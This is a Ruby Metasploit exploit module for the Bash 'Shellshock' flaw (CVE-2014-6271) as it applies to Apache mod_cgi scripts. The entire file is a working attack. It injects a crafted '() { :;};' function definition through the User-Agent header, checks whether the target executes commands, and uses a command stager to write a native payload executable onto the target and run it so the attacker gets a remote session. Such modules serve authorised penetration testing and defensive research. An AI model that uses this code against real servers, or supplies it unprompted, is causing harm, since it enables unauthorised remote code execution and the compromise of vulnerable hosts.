##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',
      'Description' => %q{
        This module exploits a code injection in specially crafted environment
        variables in Bash, specifically targeting Apache mod_cgi scripts through
        the HTTP_USER_AGENT variable.
      },
      'Author' => [
        'Stephane Chazelas', # Vulnerability discovery
        'wvu', # Original Metasploit aux module
        'juan vazquez' # Allow wvu's module to get native sessions
      ],
      'References' => [
        ['CVE', '2014-6271'],
        ['URL', 'https://access.redhat.com/articles/1200223'],
        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
      ],
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 2048
        },
      'Targets'        =>
        [
          [ 'Linux x86',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86,
              'CmdStagerFlavor' => [ :echo, :printf ]
            }
          ],
          [ 'Linux x86_64',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86_64,
              'CmdStagerFlavor' => [ :echo, :printf ]
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 24 2014',
      'License' => MSF_LICENSE
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to CGI script']),
      OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),
      OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
      OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),
      OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
    ], self.class)
  end

  def check
    res = req("echo #{marker}")

    if res && res.body.include?(marker * 3)
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    # Cannot use generic/shell_reverse_tcp inside an elf
    # Checking before proceeds
    if generate_payload_exe.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
    end

    execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true)

    # A last chance after the cmdstager
    # Trying to make it generic
    unless session_created?
      req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}")
    end
  end

  def execute_command(cmd, opts)
    cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")

    req(cmd)
  end

  def req(cmd)
    send_request_cgi(
      {
        'method' => datastore['METHOD'],
        'uri' => normalize_uri(target_uri.path.to_s),
        'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}"
      }, datastore['TIMEOUT'])
  end

  def marker
    @marker ||= rand_text_alphanumeric(rand(42) + 1)
  end
end